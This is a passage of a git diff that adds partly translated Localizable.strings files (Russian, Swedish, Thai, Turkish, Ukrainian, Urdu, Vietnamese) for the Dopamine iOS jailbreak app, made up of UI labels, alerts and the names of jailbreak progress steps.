стремится сделать обнаружение более сложным. Однако это не совсем эффективно и скрывает не всё."; +"Section_Jailbreak_Settings" = "Настройки джейлбрейка"; +"Section_Actions" = "Действия"; +"Section_Customization" = "Кастомизация"; +"Section_Exploits" = "Эксплоиты"; + +// Settings Alerts +"Alert_Tweak_Injection_Toggled_Title" = "Перезагрузите Userspace"; +"Alert_Tweak_Injection_Toggled_Body" = "Чтобы изменения вступили в силу, нужно перезагрузить Userspace. Перезагрузить сейчас?"; +"Alert_Tweak_Injection_Toggled_Reboot_Now" = "Сейчас"; +"Alert_Tweak_Injection_Toggled_Reboot_Later" = "Потом"; +"Alert_Remove_Jailbreak_Title" = "Удаление джейлбрейка"; +"Alert_Remove_Jailbreak_Pressed_Body" = "Удаление джейлбрейка приведёт к удалению всех файлов, связанных с джейлбрейком, но все обычные приложения, файлы и данные будут сохранены. Вы уверены, что хотите продолжить? Вы не сможете отменить это действие."; +"Alert_Remove_Jailbreak_Enabled_Body" = "Нажимая \"Удаление джейлбрейка\", все файлы, связанные с джейлбрейком, будут удалены до следующего джейлбрейка. Все обычные приложения, файлы и данные будут сохранены. Вы уверены, что хотите продолжить? Вы не сможете отменить это действие."; +"Alert_Change_Mobile_Password_Body" = "Установите пароль \"mobile\" пользователя на вашем устройстве, который также можно использовать для доступа root с помощью sudo. Если вы хотите установить пароль root, вы можете сделать это из мобильной оболочки, используя команду \"sudo passwd root\""; +"Password_Placeholder" = "Пароль"; +"Repeat_Password_Placeholder" = "Повторите пароль"; +/*Password_Auth_Required*/ +"Button_Change" = "Изменить"; +"Button_Cancel" = "Отмена"; +"Button_Continue" = "Продолжить"; + +// Duplicate Apps Errors +"Duplicate_Apps_Error_Dopamine_App" = "Обнаружено несколько приложений с идентификатором \"%@\" внутри пути Dopamine (\"%@\"). Невозможно продолжить."; +"Duplicate_Apps_Error_User_App" = "Приложения с идентификатором %@ есть в директории Dopamine (\"%@\"), но в системе установлены раздельно. Невозможно продолжить."; +"Duplicate_Apps_Error_Icon_Cache" = "Приложение с идентификатором \"%@\" есть в каталоге приложений (\"%@\"), но также зарегистрировано в кэше иконок по пути (\"%@\"). Невозможно продолжить."; + +// Settings Lists +"Theme" = "Темы"; +"Kernel Exploit" = "Эксплоит Ядра"; +"PPL Bypass" = "Обход PPL"; +"PAC Bypass" = "Обход PAC"; +/*None*/ +/*Recommended*/ + +// Credits +"Credits_Button_Discord" = "Discord"; +"Credits_Button_License" = "Лицензия"; +"Credits_Button_Source_Code" = "Исходный код"; + +// Logs +"Initializing Environment" = "Инициализация среды"; +"Initializing Protection" = "Инициализация защиты"; +"Loading BaseBin TrustCache" = "Получение кэша доверия BaseBin"; +"Applying Bind Mount" = "Применение монтирования с привязкой"; +"Removing Jailbreak" = "Удаление джейлбрейка"; +"Elevating Privileges" = "Повышение прав"; +"Cleaning Up Exploits" = "Очистка эксплоитов"; +"Building Phys R/W Primitive" = "Создание R/W примитива"; +"Rebooting Userspace" = "Перезагрузка Userspace"; +"Patchfinding" = "Поиск патчей"; +"Exploiting Kernel (%@)" = "Эксплуатация ядра (%@)"; +"Bypassing PAC (%@)" = "Обход PAC (%@)"; +"Bypassing PPL (%@)" = "Обход PPL (%@)"; + +// Package Manager selection +"Status_Title_Select_Package_Managers" = "Выберите менеджер(ы) пакетов"; +"Select_Package_Managers_Install_Message" = "Если вы не знаете, какой из них выбрать, выберите Sileo"; +"Continue" = "Продолжить"; + diff --git a/Application/Dopamine/sv.lproj/Localizable.strings b/Application/Dopamine/sv.lproj/Localizable.strings new file mode 100644 index 0000000000..4dd67602e7 --- /dev/null +++ b/Application/Dopamine/sv.lproj/Localizable.strings @@ -0,0 +1,115 @@ +"Credits_Made_By" = "Tillverkad av opa334, évelyne"; + +// Log +"Status_Title_Jailbreaking" = "Jailbreaking"; +"Log_Error" = "Misslyckad"; + +// Jailbreak Button +"Button_Jailbreak_Title" = "Jailbreak"; +"Status_Title_Jailbroken" = "Jailbroken"; +/*Unsupported*/ + +// Action Menu +"Menu_Settings_Title" = "Inställningar"; +"Menu_Restart_SpringBoard_Title" = "Starta om SpringBoard"; +"Menu_Reboot_Userspace_Title" = "Starta om Userspace"; +"Menu_Credits_Title" = "Om"; + +// Updating +"Button_Update" = "Updatera"; +"Button_Update_Available" = "Uppdatering tillgänglig"; +"Button_Update_Environment" = "Update Environment"; + +// Update View +"Update_Status_Downloading" = "Laddar ned uppdatering..."; +"Update_Status_Subtitle_Please_Wait" = "Vänta medan filer laddas ned"; +"Update_Status_Installing" = "Installerar uppdatering..."; +"Update_Status_Subtitle_Restart_Soon" = "Enheten kommer snart att starta om"; +"Title_Changelog" = "Ändringslogg"; +"Changelog_Unavailable_Text" = "Ändringslogg ej tillgänglig"; + +// Removed Jailbreak Alert +/*Removed_Jailbreak_Alert_Title*/ +/*Removed_Jailbreak_Alert_Message*/ +/*Button_Close*/ + +// Error View +/*Button_Share*/ +/*Button_Reboot*/ + +// Settings Toggles +"Settings_Tweak_Injection" = "Tweak Injection"; +"Settings_iDownload" = "iDownload (Terminal för utvecklare)"; +"Settings_Verbose_Logs" = "Omfattande loggar"; +/*Settings_Apps_JIT*/ + +// Settings Buttons +"Button_Remove_Jailbreak" = "Ta Bot Jailbreak"; +"Button_Hide_Jailbreak" = "Göm Jailbreak"; +"Button_Unhide_Jailbreak" = "Visa Jailbreak"; +/*Button_Refresh_Jailbreak_Apps*/ +"Button_Reinstall_Package_Managers" = "Reinstall Package Managers"; +/*Button_Change_Mobile_Password*/ + +// Settings Hints +"Hint_Hide_Jailbreak" = "\"Göm Jailbreak\" tar tillfälligt bort jailbreak-relaterade filer tills nästa jailbreak"; +"Hint_Hide_Jailbreak_Jailbroken" = "\"Hide Jailbreak\" partially disables the jailbreak and aims to make detection more challenging. However, it is not entirely effective and does not conceal everything."; +/*Section_Jailbreak_Settings*/ +/*Section_Actions*/ +/*Section_Customization*/ +/*Section_Exploits*/ + +// Settings Alerts +/*Alert_Tweak_Injection_Toggled_Title*/ +"Alert_Tweak_Injection_Toggled_Body" = "A userspace reboot is neccessary to apply the changes. Do you want to do it now?"; +/*Alert_Tweak_Injection_Toggled_Reboot_Now*/ +/*Alert_Tweak_Injection_Toggled_Reboot_Later*/ +"Alert_Remove_Jailbreak_Title" = "Remove Jailbreak"; +"Alert_Remove_Jailbreak_Pressed_Body" = "Removing jailbreak will delete all jailbreak-related files, but all regular apps, files and data will be kept. Are you sure you want to continue? You can't undo this action."; +/*Alert_Remove_Jailbreak_Enabled_Body*/ +/*Alert_Change_Mobile_Password_Body*/ +/*Password_Placeholder*/ +/*Repeat_Password_Placeholder*/ +/*Password_Auth_Required*/ +/*Button_Change*/ +"Button_Cancel" = "Avbryt"; +/*Button_Continue*/ + +// Duplicate Apps Errors +/*Duplicate_Apps_Error_Dopamine_App*/ +/*Duplicate_Apps_Error_User_App*/ +/*Duplicate_Apps_Error_Icon_Cache*/ + +// Settings Lists +/*Theme*/ +/*Kernel Exploit*/ +/*PPL Bypass*/ +/*PAC Bypass*/ +/*None*/ +/*Recommended*/ + +// Credits +"Credits_Button_Discord" = "Discord"; +"Credits_Button_License" = "Licens"; +"Credits_Button_Source_Code" = "Källkod"; + +// Logs +"Initializing Environment" = "Initiera miljö"; +/*Initializing Protection*/ +/*Loading BaseBin TrustCache*/ +/*Applying Bind Mount*/ +/*Removing Jailbreak*/ +/*Elevating Privileges*/ +/*Cleaning Up Exploits*/ +/*Building Phys R/W Primitive*/ +/*Rebooting Userspace*/ +"Patchfinding" = "Patchfinding"; +/*Exploiting Kernel (%@)*/ +/*Bypassing PAC (%@)*/ +/*Bypassing PPL (%@)*/ + +// Package Manager selection +"Status_Title_Select_Package_Managers" = "Välj pakethanterare"; +"Select_Package_Managers_Install_Message" = "If you are unsure which one to select, select Sileo"; +"Continue" = "Continue"; + diff --git a/Application/Dopamine/th.lproj/Localizable.strings b/Application/Dopamine/th.lproj/Localizable.strings new file mode 100644 index 0000000000..3244756b10 --- /dev/null +++ b/Application/Dopamine/th.lproj/Localizable.strings @@ -0,0 +1,115 @@ +"Credits_Made_By" = "by opa334, ElleKit by évelyne"; + +// Log +"Status_Title_Jailbreaking" = "กำลังเจลเบรค"; +"Log_Error" = "Error"; + +// Jailbreak Button +"Button_Jailbreak_Title" = "เจลเบรค"; +"Status_Title_Jailbroken" = "เจลเบรคแล้ว"; +"Unsupported" = "ไม่รองรับ"; + +// Action Menu +"Menu_Settings_Title" = "ตั้งค่า"; +"Menu_Restart_SpringBoard_Title" = "รีสตาร์ท SpringBoard"; +"Menu_Reboot_Userspace_Title" = "รีบูต Userspace"; +"Menu_Credits_Title" = "Credits"; + +// Updating +"Button_Update" = "อัปเดต"; +"Button_Update_Available" = "มีอัปเดตใหม่"; +"Button_Update_Environment" = "อัปเดต Environment"; + +// Update View +"Update_Status_Downloading" = "กำลังดาวน์โหลดอัปเดต..."; +"Update_Status_Subtitle_Please_Wait" = "กรุณารอไฟล์อัปเดตโหลดเสร็จ"; +"Update_Status_Installing" = "กำลังติดตั้งอัปเดต"; +"Update_Status_Subtitle_Restart_Soon" = "อุปกรณ์กำลังจะรีสตาร์ทในเร็วๆนี้"; +"Title_Changelog" = "Changelog"; +"Changelog_Unavailable_Text" = "ไม่มี Changelog"; + +// Removed Jailbreak Alert +"Removed_Jailbreak_Alert_Title" = "เจลเบรคได้ถูกลบออกแล้ว"; +"Removed_Jailbreak_Alert_Message" = "เจลเบรคได้ถูกลบออกแล้ว แนะนำให้รีบูตอุปกรณ์"; +"Button_Close" = "ปิด"; + +// Error View +"Button_Share" = "แชร์"; +"Button_Reboot" = "รีบูต"; + +// Settings Toggles +"Settings_Tweak_Injection" = "Tweak Injection"; +"Settings_iDownload" = "iDownload (Developer Shell)"; +"Settings_Verbose_Logs" = "Verbose Logs"; +/*Settings_Apps_JIT*/ + +// Settings Buttons +"Button_Remove_Jailbreak" = "ลบเจลเบรค"; +"Button_Hide_Jailbreak" = "ซ่อนเจลเบรค"; +"Button_Unhide_Jailbreak" = "เลิกซ่อนเจลเบรค"; +"Button_Refresh_Jailbreak_Apps" = "รีเฟรช Jailbreak Apps"; +"Button_Reinstall_Package_Managers" = "ติดตั้ง Package Managers ใหม่"; +/*Button_Change_Mobile_Password*/ + +// Settings Hints +"Hint_Hide_Jailbreak" = "\"ซ่อนเจลเบรค\" ซ่อนไฟล์ที่เกี่ยวกับเจลเบรคต่างๆจนกว่าจะทำการเจลเบรคใหม่"; +"Hint_Hide_Jailbreak_Jailbroken" = "\"ซ่อนเจลเบรค\" ปิดการทำงานของเจลเบรคบางส่วนเพื่อทำให้การตรวจจับยากขึ้น แต่อาจจะมีประสิทธิภาพไม่เต็มที่"; +"Section_Jailbreak_Settings" = "ตั้งค่าเจลเบรค"; +"Section_Actions" = "Actions"; +"Section_Customization" = "การปรับแต่ง"; +"Section_Exploits" = "Exploits"; + +// Settings Alerts +"Alert_Tweak_Injection_Toggled_Title" = "จำเป็นต้องรีบูต Userspace"; +"Alert_Tweak_Injection_Toggled_Body" = "จำเป็นต้องรีบูต Userspace เพื่อใช้การเปลี่ยนแปลง ต้องการรีบูตตอนนี้หรือไม่"; +"Alert_Tweak_Injection_Toggled_Reboot_Now" = "รีบูตตอนนี้"; +"Alert_Tweak_Injection_Toggled_Reboot_Later" = "รีบูตภายหลัง"; +"Alert_Remove_Jailbreak_Title" = "ลบเจลเบรค"; +"Alert_Remove_Jailbreak_Pressed_Body" = "การลบเจลเบรคจะลบไฟล์ที่เกี่ยวข้องกับเจลเบรคเท่านั้น แอปพลิเคชั่น ไฟล์ และ ข้อมูลต่างๆที่ไม่เกี่ยวข้องกับเจลเบรคจะถูกเก็บไว้ ต้องการที่จะดำเนินการต่อหรือไม่ การกระทำนี้จะไม่สามารถย้อนกลับได้"; +"Alert_Remove_Jailbreak_Enabled_Body" = "การเปิดใช้งาน \"ลบเจลเบรค\" จะลบไฟล์ที่เกี่ยวข้องกับเจลเบรคเท่านั้น แอปพลิเคชั่น ไฟล์ และ ข้อมูลต่างๆที่ไม่เกี่ยวข้องกับเจลเบรคจะถูกเก็บไว้ ต้องการที่จะดำเนินการต่อหรือไม่ การกระทำนี้จะไม่สามารถย้อนกลับได้"; +/*Alert_Change_Mobile_Password_Body*/ +/*Password_Placeholder*/ +/*Repeat_Password_Placeholder*/ +/*Password_Auth_Required*/ +/*Button_Change*/ +"Button_Cancel" = "ยกเลิก"; +"Button_Continue" = "ดำเนินการต่อ"; + +// Duplicate Apps Errors +"Duplicate_Apps_Error_Dopamine_App" = "มีหลายแอปพลิเคชั่นที่มี identifier \"%@\" ในโฟลเดอร์แอปพลิเคชั่นของ Dopamine (\"%@\") ทำให้ไม่สามารถดำเนินการต่อได้"; +"Duplicate_Apps_Error_User_App" = "แอปพลิเคชั่นที่มี identifiers %@ อยู่ในโฟล์เดอร์แอปพลิเคชั่นของ Dopamine (\"%@\") และถูกติดตั้งแยกไว้ที่อื่นในระบบด้วย ทำให้ไม่สามารถดำเนินการต่อได้"; +"Duplicate_Apps_Error_Icon_Cache" = "แอปพลิเคชั่นที่มี identifiers \"%@\" อยู่ในโฟล์เดอร์แอปพลิเคชั่นของ Dopamine (\"%@\") แต่ถูก register ไว้ใน icon cache ด้วย path ที่แตกต่างกัน (\"%@\") ทำให้ไม่สามารถดำเนินการต่อได้"; + +// Settings Lists +"Theme" = "ธีม"; +"Kernel Exploit" = "Kernel Exploit"; +"PPL Bypass" = "PPL Bypass"; +"PAC Bypass" = "PAC Bypass"; +/*None*/ +/*Recommended*/ + +// Credits +"Credits_Button_Discord" = "Discord"; +"Credits_Button_License" = "Licenses"; +"Credits_Button_Source_Code" = "Source Code"; + +// Logs +"Initializing Environment" = "Initializing Jailbreak Environment"; +/*Initializing Protection*/ +"Loading BaseBin TrustCache" = "Loading BaseBin TrustCache"; +"Applying Bind Mount" = "Applying Bind Mount"; +"Removing Jailbreak" = "Removing Jailbreak"; +"Elevating Privileges" = "Elevating Privileges"; +"Cleaning Up Exploits" = "Cleaning Up Exploits"; +"Building Phys R/W Primitive" = "Building Phys R/W Primitive"; +"Rebooting Userspace" = "Rebooting Userspace"; +"Patchfinding" = "Patchfinding"; +"Exploiting Kernel (%@)" = "Exploiting Kernel (%@)"; +"Bypassing PAC (%@)" = "Bypassing PAC (%@)"; +"Bypassing PPL (%@)" = "Bypassing PPL (%@)"; + +// Package Manager selection +"Status_Title_Select_Package_Managers" = "เลือก Package Manager(s) ที่ต้องการ"; +"Select_Package_Managers_Install_Message" = "ถ้าไม่แน่ใจว่าจะเลือกอันไหน ให้เลือก Sileo"; +"Continue" = "ดำเนินการต่อ"; + diff --git a/Application/Dopamine/tr.lproj/Localizable.strings b/Application/Dopamine/tr.lproj/Localizable.strings new file mode 100644 index 0000000000..d8efb85dd4 --- /dev/null +++ b/Application/Dopamine/tr.lproj/Localizable.strings @@ -0,0 +1,115 @@ +"Credits_Made_By" = "opa334 ve évelyne tarafından yapılmıştır"; + +// Log +"Status_Title_Jailbreaking" = "Jailbreak Yapılıyor"; +"Log_Error" = "Başarısız"; + +// Jailbreak Button +"Button_Jailbreak_Title" = "Jailbreak"; +"Status_Title_Jailbroken" = "Jailbreakli"; +/*Unsupported*/ + +// Action Menu +"Menu_Settings_Title" = "Ayarlar"; +"Menu_Restart_SpringBoard_Title" = "Springboard'u Yeniden Başlat"; +"Menu_Reboot_Userspace_Title" = "Userspace'i Yeniden Başlat"; +"Menu_Credits_Title" = "Hakkında"; + +// Updating +"Button_Update" = "Güncelle"; +"Button_Update_Available" = "Güncelleme mevcut"; +"Button_Update_Environment" = "Update Environment"; + +// Update View +"Update_Status_Downloading" = "Güncelleme indiriliyor..."; +"Update_Status_Subtitle_Please_Wait" = "Dosyaların indirilmesi biterken lütfen bekleyiniz"; +"Update_Status_Installing" = "Güncelleme yükleniyor..."; +"Update_Status_Subtitle_Restart_Soon" = "Cihaz az sonra yeniden başlatılacaktır"; +"Title_Changelog" = "Sürüm Günlüğü"; +"Changelog_Unavailable_Text" = "Güncelleme Günlüğü Mevcut Değil"; + +// Removed Jailbreak Alert +/*Removed_Jailbreak_Alert_Title*/ +/*Removed_Jailbreak_Alert_Message*/ +/*Button_Close*/ + +// Error View +/*Button_Share*/ +/*Button_Reboot*/ + +// Settings Toggles +"Settings_Tweak_Injection" = "Tweak Enjeksiyonu"; +"Settings_iDownload" = "iDownload (Geliştirici Terminali)"; +"Settings_Verbose_Logs" = "Sözlü Loglar"; +/*Settings_Apps_JIT*/ + +// Settings Buttons +"Button_Remove_Jailbreak" = "Jailbreak'i Sil"; +"Button_Hide_Jailbreak" = "Jailbreak'i Sakla"; +"Button_Unhide_Jailbreak" = "Jailbreak'i Göster"; +/*Button_Refresh_Jailbreak_Apps*/ +"Button_Reinstall_Package_Managers" = "Reinstall Package Managers"; +/*Button_Change_Mobile_Password*/ + +// Settings Hints +"Hint_Hide_Jailbreak" = "\"Jailbreak'i Sakla\" Geçici olarak jailbreak ile ilgili dosyaları sonraki jailbreak'e kadar saklar"; +"Hint_Hide_Jailbreak_Jailbroken" = "\"Hide Jailbreak\" partially disables the jailbreak and aims to make detection more challenging. However, it is not entirely effective and does not conceal everything."; +/*Section_Jailbreak_Settings*/ +/*Section_Actions*/ +/*Section_Customization*/ +/*Section_Exploits*/ + +// Settings Alerts +/*Alert_Tweak_Injection_Toggled_Title*/ +"Alert_Tweak_Injection_Toggled_Body" = "A userspace reboot is neccessary to apply the changes. Do you want to do it now?"; +/*Alert_Tweak_Injection_Toggled_Reboot_Now*/ +/*Alert_Tweak_Injection_Toggled_Reboot_Later*/ +"Alert_Remove_Jailbreak_Title" = "Remove Jailbreak"; +"Alert_Remove_Jailbreak_Pressed_Body" = "Removing jailbreak will delete all jailbreak-related files, but all regular apps, files and data will be kept. Are you sure you want to continue? You can't undo this action."; +/*Alert_Remove_Jailbreak_Enabled_Body*/ +/*Alert_Change_Mobile_Password_Body*/ +/*Password_Placeholder*/ +/*Repeat_Password_Placeholder*/ +/*Password_Auth_Required*/ +/*Button_Change*/ +"Button_Cancel" = "İptal"; +"Button_Continue" = "Continue"; + +// Duplicate Apps Errors +/*Duplicate_Apps_Error_Dopamine_App*/ +/*Duplicate_Apps_Error_User_App*/ +/*Duplicate_Apps_Error_Icon_Cache*/ + +// Settings Lists +/*Theme*/ +/*Kernel Exploit*/ +/*PPL Bypass*/ +/*PAC Bypass*/ +/*None*/ +/*Recommended*/ + +// Credits +"Credits_Button_Discord" = "Discord"; +"Credits_Button_License" = "Lisans"; +"Credits_Button_Source_Code" = "Kaynak Kodu"; + +// Logs +"Initializing Environment" = "Ortam Başlatılıyor"; +/*Initializing Protection*/ +/*Loading BaseBin TrustCache*/ +/*Applying Bind Mount*/ +/*Removing Jailbreak*/ +/*Elevating Privileges*/ +/*Cleaning Up Exploits*/ +/*Building Phys R/W Primitive*/ +/*Rebooting Userspace*/ +"Patchfinding" = "Patchfinding Yapılıyor"; +/*Exploiting Kernel (%@)*/ +/*Bypassing PAC (%@)*/ +/*Bypassing PPL (%@)*/ + +// Package Manager selection +"Status_Title_Select_Package_Managers" = "Paket Yöneticisi Seçin"; +"Select_Package_Managers_Install_Message" = "If you are unsure which one to select, select Sileo"; +"Continue" = "Continue"; + diff --git a/Application/Dopamine/uk.lproj/Localizable.strings b/Application/Dopamine/uk.lproj/Localizable.strings new file mode 100644 index 0000000000..c0151844d2 --- /dev/null +++ b/Application/Dopamine/uk.lproj/Localizable.strings @@ -0,0 +1,115 @@ +"Credits_Made_By" = "Зроблено opa334, évelyne"; + +// Log +"Status_Title_Jailbreaking" = "Джейлбрейк"; +"Log_Error" = "Не вдалося"; + +// Jailbreak Button +"Button_Jailbreak_Title" = "Зробити джейлбрейк"; +"Status_Title_Jailbroken" = "Джейлбрейк завершено"; +/*Unsupported*/ + +// Action Menu +"Menu_Settings_Title" = "Налаштування"; +"Menu_Restart_SpringBoard_Title" = "Перезапустити SpringBoard"; +"Menu_Reboot_Userspace_Title" = "Перезавантажити простір користувача"; +"Menu_Credits_Title" = "Титри"; + +// Updating +"Button_Update" = "Оновити"; +"Button_Update_Available" = "Оновлення доступне"; +"Button_Update_Environment" = "Update Environment"; + +// Update View +"Update_Status_Downloading" = "Завантаження оновлення..."; +"Update_Status_Subtitle_Please_Wait" = "Будь ласка, зачекайте, поки файли завершать завантаження"; +"Update_Status_Installing" = "Встановлення оновлення..."; +"Update_Status_Subtitle_Restart_Soon" = "Пристрій буде перезавантажено найближчим часом"; +"Title_Changelog" = "Журнал змін"; +"Changelog_Unavailable_Text" = "Журнал змін недоступний"; + +// Removed Jailbreak Alert +/*Removed_Jailbreak_Alert_Title*/ +/*Removed_Jailbreak_Alert_Message*/ +/*Button_Close*/ + +// Error View +/*Button_Share*/ +/*Button_Reboot*/ + +// Settings Toggles +"Settings_Tweak_Injection" = "ін'єкція твiков"; +"Settings_iDownload" = "iDownload (Термінал розробника)"; +"Settings_Verbose_Logs" = "Докладні логи"; +/*Settings_Apps_JIT*/ + +// Settings Buttons +"Button_Remove_Jailbreak" = "Видалити джейлбрейк"; +"Button_Hide_Jailbreak" = "Приховати джейлбрейк"; +"Button_Unhide_Jailbreak" = "Розкрити джейлбрейк"; +/*Button_Refresh_Jailbreak_Apps*/ +"Button_Reinstall_Package_Managers" = "Reinstall Package Managers"; +/*Button_Change_Mobile_Password*/ + +// Settings Hints +"Hint_Hide_Jailbreak" = "\"Приховати джейлбрейк\" тимчасово видаляє файли, пов'язані з джейлбрейком, до наступного джейлбрейку"; +"Hint_Hide_Jailbreak_Jailbroken" = "\"Hide Jailbreak\" partially disables the jailbreak and aims to make detection more challenging. However, it is not entirely effective and does not conceal everything."; +/*Section_Jailbreak_Settings*/ +/*Section_Actions*/ +/*Section_Customization*/ +/*Section_Exploits*/ + +// Settings Alerts +/*Alert_Tweak_Injection_Toggled_Title*/ +"Alert_Tweak_Injection_Toggled_Body" = "A userspace reboot is neccessary to apply the changes. Do you want to do it now?"; +/*Alert_Tweak_Injection_Toggled_Reboot_Now*/ +/*Alert_Tweak_Injection_Toggled_Reboot_Later*/ +"Alert_Remove_Jailbreak_Title" = "Remove Jailbreak"; +"Alert_Remove_Jailbreak_Pressed_Body" = "Removing jailbreak will delete all jailbreak-related files, but all regular apps, files and data will be kept. Are you sure you want to continue? You can't undo this action."; +/*Alert_Remove_Jailbreak_Enabled_Body*/ +/*Alert_Change_Mobile_Password_Body*/ +/*Password_Placeholder*/ +/*Repeat_Password_Placeholder*/ +/*Password_Auth_Required*/ +/*Button_Change*/ +"Button_Cancel" = "Скасувати"; +/*Button_Continue*/ + +// Duplicate Apps Errors +/*Duplicate_Apps_Error_Dopamine_App*/ +/*Duplicate_Apps_Error_User_App*/ +/*Duplicate_Apps_Error_Icon_Cache*/ + +// Settings Lists +/*Theme*/ +/*Kernel Exploit*/ +/*PPL Bypass*/ +/*PAC Bypass*/ +/*None*/ +/*Recommended*/ + +// Credits +"Credits_Button_Discord" = "Discord"; +"Credits_Button_License" = "Ліцензія"; +"Credits_Button_Source_Code" = "Вихідний код"; + +// Logs +"Initializing Environment" = "Ініціалізація середовища"; +/*Initializing Protection*/ +/*Loading BaseBin TrustCache*/ +/*Applying Bind Mount*/ +/*Removing Jailbreak*/ +/*Elevating Privileges*/ +/*Cleaning Up Exploits*/ +/*Building Phys R/W Primitive*/ +/*Rebooting Userspace*/ +"Patchfinding" = "Пошук патчів"; +/*Exploiting Kernel (%@)*/ +/*Bypassing PAC (%@)*/ +/*Bypassing PPL (%@)*/ + +// Package Manager selection +"Status_Title_Select_Package_Managers" = "Вибрати менеджер(и) пакунків"; +"Select_Package_Managers_Install_Message" = "If you are unsure which one to select, select Sileo"; +"Continue" = "Continue"; + diff --git a/Application/Dopamine/ur.lproj/Localizable.strings b/Application/Dopamine/ur.lproj/Localizable.strings new file mode 100644 index 0000000000..040e9e71eb --- /dev/null +++ b/Application/Dopamine/ur.lproj/Localizable.strings @@ -0,0 +1,115 @@ +"Credits_Made_By" = "Made by by opa334, évelyne"; + +// Log +"Status_Title_Jailbreaking" = "جیل بریکنگ"; +"Log_Error" = "ناکام"; + +// Jailbreak Button +"Button_Jailbreak_Title" = " جیل بریک"; +"Status_Title_Jailbroken" = "جیل بروکن"; +/*Unsupported*/ + +// Action Menu +"Menu_Settings_Title" = "ترتیبات"; +"Menu_Restart_SpringBoard_Title" = "اسپرنگ بورڈ کو دوبارہ شروع کریں"; +"Menu_Reboot_Userspace_Title" = "یوزر اسپیس کو ریبوٹ کریں"; +"Menu_Credits_Title" = "کے بارے میں"; + +// Updating +"Button_Update" = "اپ ڈیٹ"; +"Button_Update_Available" = "اپ ڈیٹ دستیاب ہے"; +"Button_Update_Environment" = "Update Environment"; + +// Update View +"Update_Status_Downloading" = "...اپ ڈیٹ ڈاؤن لوڈ کر رہا ہے"; +"Update_Status_Subtitle_Please_Wait" = "براہ کرم فائلوں کے ڈاؤن لوڈ ہونے تک انتظار کریں"; +"Update_Status_Installing" = "اپ ڈیٹ انسٹال ہو رہا ہے"; +"Update_Status_Subtitle_Restart_Soon" = "آلہ جلد ہی دوبارہ شروع ہو جائے گا"; +"Title_Changelog" = "چینج لاگ"; +"Changelog_Unavailable_Text" = "چینج لاگ دستیاب نہیں ہے"; + +// Removed Jailbreak Alert +/*Removed_Jailbreak_Alert_Title*/ +/*Removed_Jailbreak_Alert_Message*/ +/*Button_Close*/ + +// Error View +/*Button_Share*/ +/*Button_Reboot*/ + +// Settings Toggles +"Settings_Tweak_Injection" = "Tweak Injection"; +"Settings_iDownload" = "iDownload (ڈویلپر ٹرمینل)"; +"Settings_Verbose_Logs" = "Verbose Logs"; +/*Settings_Apps_JIT*/ + +// Settings Buttons +"Button_Remove_Jailbreak" = " جیل بریک اتارلو"; +"Button_Hide_Jailbreak" = "جیل بریک چھپائیں "; +"Button_Unhide_Jailbreak" = "جیل بریک دکھائیں "; +/*Button_Refresh_Jailbreak_Apps*/ +"Button_Reinstall_Package_Managers" = "Reinstall Package Managers"; +/*Button_Change_Mobile_Password*/ + +// Settings Hints +"Hint_Hide_Jailbreak" = "\"چھپائیں جیل بریک\" اگلے جیل بریک تک عارضی طور پر جیل بریک سے متعلق فائلوں کو ہٹاتا ہے"; +"Hint_Hide_Jailbreak_Jailbroken" = "\"Hide Jailbreak\" partially disables the jailbreak and aims to make detection more challenging. However, it is not entirely effective and does not conceal everything."; +/*Section_Jailbreak_Settings*/ +/*Section_Actions*/ +/*Section_Customization*/ +/*Section_Exploits*/ + +// Settings Alerts +/*Alert_Tweak_Injection_Toggled_Title*/ +"Alert_Tweak_Injection_Toggled_Body" = "A userspace reboot is neccessary to apply the changes. Do you want to do it now?"; +/*Alert_Tweak_Injection_Toggled_Reboot_Now*/ +/*Alert_Tweak_Injection_Toggled_Reboot_Later*/ +"Alert_Remove_Jailbreak_Title" = "Remove Jailbreak"; +"Alert_Remove_Jailbreak_Pressed_Body" = "Removing jailbreak will delete all jailbreak-related files, but all regular apps, files and data will be kept. Are you sure you want to continue? You can't undo this action."; +/*Alert_Remove_Jailbreak_Enabled_Body*/ +/*Alert_Change_Mobile_Password_Body*/ +/*Password_Placeholder*/ +/*Repeat_Password_Placeholder*/ +/*Password_Auth_Required*/ +/*Button_Change*/ +"Button_Cancel" = "منسوخ کریں"; +"Button_Continue" = "Continue"; + +// Duplicate Apps Errors +/*Duplicate_Apps_Error_Dopamine_App*/ +/*Duplicate_Apps_Error_User_App*/ +/*Duplicate_Apps_Error_Icon_Cache*/ + +// Settings Lists +/*Theme*/ +/*Kernel Exploit*/ +/*PPL Bypass*/ +/*PAC Bypass*/ +/*None*/ +/*Recommended*/ + +// Credits +"Credits_Button_Discord" = "Discord"; +"Credits_Button_License" = "لائسنس"; +"Credits_Button_Source_Code" = "خصوصی شکریہ"; + +// Logs +"Initializing Environment" = "Initializing Environment"; +/*Initializing Protection*/ +/*Loading BaseBin TrustCache*/ +/*Applying Bind Mount*/ +/*Removing Jailbreak*/ +/*Elevating Privileges*/ +/*Cleaning Up Exploits*/ +/*Building Phys R/W Primitive*/ +/*Rebooting Userspace*/ +"Patchfinding" = "Patchfinding"; +/*Exploiting Kernel (%@)*/ +/*Bypassing PAC (%@)*/ +/*Bypassing PPL (%@)*/ + +// Package Manager selection +"Status_Title_Select_Package_Managers" = "پیکیج مینیجرز کو منتخب کریں"; +"Select_Package_Managers_Install_Message" = "If you are unsure which one to select, select Sileo"; +"Continue" = "Continue"; + diff --git a/Application/Dopamine/vi.lproj/Localizable.strings b/Application/Dopamine/vi.lproj/Localizable.strings new file mode 100644 index 0000000000..93c4852b6f --- /dev/null +++ b/Application/Dopamine/vi.lproj/Localizable.strings @@ -0,0 +1,117 @@ +"Credits_Made_By" = "Được tạo bởi opa334, évelyne"; + +// Log +"Status_Title_Jailbreaking" = "Đang Jailbreak"; +"Log_Error" = "Không thành công"; + +// Jailbreak Button +"Button_Jailbreak_Title" = "Jailbreak"; +"Status_Title_Jailbroken" = "Đã Jailbreak"; +"Unsupported" = "Không hỗ trợ"; + +// Action Menu +"Menu_Settings_Title" = "Cài đặt"; +"Menu_Restart_SpringBoard_Title" = "Khởi động lại SpringBoard"; +"Menu_Reboot_Userspace_Title" = "Khởi động lại Userspace"; +"Menu_Credits_Title" = "Tác giả"; + +// Updating +"Button_Update" = "Cập nhật"; +"Button_Update_Available" = "Có bản cập nhật mới"; +"Button_Update_Environment" = "Cập nhật môi trường Jailbreak"; + +// Update View +"Update_Status_Downloading" = "Đang tải bản cập nhật..."; +"Update_Status_Subtitle_Please_Wait" = "Đang tải các tệp thiết yếu, xin hãy kiên nhẫn chờ"; +"Update_Status_Installing" = "Đang cài bản cập nhật..."; 